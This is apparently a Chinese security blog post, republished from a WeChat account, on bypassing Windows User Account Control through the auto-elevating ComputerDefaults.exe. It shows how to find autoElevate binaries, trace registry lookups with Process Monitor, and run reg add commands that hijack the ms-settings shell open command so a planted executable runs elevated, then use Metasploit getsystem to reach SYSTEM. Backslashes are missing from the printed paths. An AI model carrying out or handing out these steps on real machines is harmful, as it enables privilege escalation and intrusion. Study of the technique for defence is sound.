Bypass UAC
用户账户控制(User Account Control,UAC)是Windows操作系统采用的一种控制机制,开启UAC后,每个需要用管理员访问令牌的应用都需要用户同意。UAC限制所有的用户,包括非RID 500的管理员用户,RID 500是指除了Administrator以外,位于管理员组的其他管理员用户。
绕过UAC,可以使非RID 500的账户可以不需要用户同意直接使用管理员访问令牌。UCA是一种保护机制,Bypass UAC就是绕过这一保护机制,本质上不算是提权。
UAC白名单
UAC给一些系统程序设置了白名单,不用询问,可以直接提升到管理员权限运行。寻找白名单程序时,可以用微软提供的工具Sigcheck和Strings。
地址如下:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
https://learn.microsoft.com/en-us/sysinternals/downloads/strings
白名单程序有一个共同的=特点,Manifest数据中autoElevate属性值为True。
Sigcheck工具检测程序是否有autoElevate属性,ComputerDefaults.exe为例。
sigcheck.exe -accepteula -m C:WindowsSystem32ComputerDefaults.exe
Strings可以找出所有具有autoElevate属性的程序。
strings.exe -accepteula -s C:WindowsSystem32*.exe |find /i "autoElevate"
下面通过ComputerDefaults.exe程序绕过UAC实现提权。
使用Process Monitor监控ComputerDefaults.exe程序。
1、筛选,可执行文件路径不是C:WindowsSystem32ComputerDefaults.exe的全部排除。
2、启动ComputerDefaults.exe程序,捕获ComputerDefaults.exe进程行为。
3、一般以Shellopencommand命名的注册表中,存储的可能是可执行文件的路径,继续筛选,显示路径包含Shellopencommand的进程。
4、分析发现,ComputerDefaults.exe会先查询注册表HKCUSoftwareClassesms-settingsShellopencommand中的数据,发现该路径不存在,然后继续查询HKCRms-settingsShellOpenCommandDelegateExecute中的数据并读取。
5、执行以下命令
reg add HKCUSoftwareClassesms-settingsshellopencommand /d "C:Windowstemptest.exe" /f
reg add HKCUSoftwareClassesms-settingsshellopencommand /v DelegateExecute /t REG_SZ /d "C:Windowstemptest.exe" /f
C:WindowsSystem32ComputerDefaults.exe
运行ComputerDefaults.exe时,恶意程序会绕过UAC以提升的权限运行,kali上线msf,运行getsystem命令,提升至SYSTEM权限。
总结
愿大家健康开心。
原文始发于微信公众号(AlertSec):Bypass UAC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论